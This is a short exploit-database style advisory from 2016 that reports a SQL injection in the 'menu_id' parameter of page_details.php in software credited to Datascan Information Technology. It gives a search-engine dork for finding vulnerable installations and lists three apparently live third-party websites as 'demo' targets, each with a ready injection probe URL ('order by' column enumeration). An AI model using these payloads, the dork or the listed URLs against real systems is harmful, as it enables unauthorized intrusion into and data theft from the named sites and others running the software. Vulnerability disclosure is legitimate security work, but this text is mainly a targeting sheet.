#####################################################
# Exploit Title: Datascan Information Technology SQL Injection Vulnerability
# Date: 2016-4-1
# Exploit Author: Iran Cyber Security Group
# Discovered By: L3gi0N
# Category : Web Application Bugs
# Dork : intext:"Powered By Datascan Information Technology"
# Home: iran-cyber.net
#####################################################
# Vulnerable file: page_details.php
# http://localhost:8080/page_details.php?menu_id=[SQL Injection]
#####################################################
# Demo:
# http://biharmarwari.com/online/page_details.php?menu_id=13'+order+by+11+--+
# http://www.onlinercsm.in/mission_india/page_details.php?menu_id=13'+order+by+11+--+
# http://marwarishiksha.com/page_details.php?menu_id=13%27+order+by+17+--+
#####################################################
# iran-cyber.net
# Tnx to: MOHAMAD-NOFOZI - root3r - sir.h4m1d - MoHaMaD-BlAcK - Mr.Turk - 0xDevil - 0x3a
# MR.S4JJ4D ... 0day ... pi.hack ... Nazanin Wild
#####################################################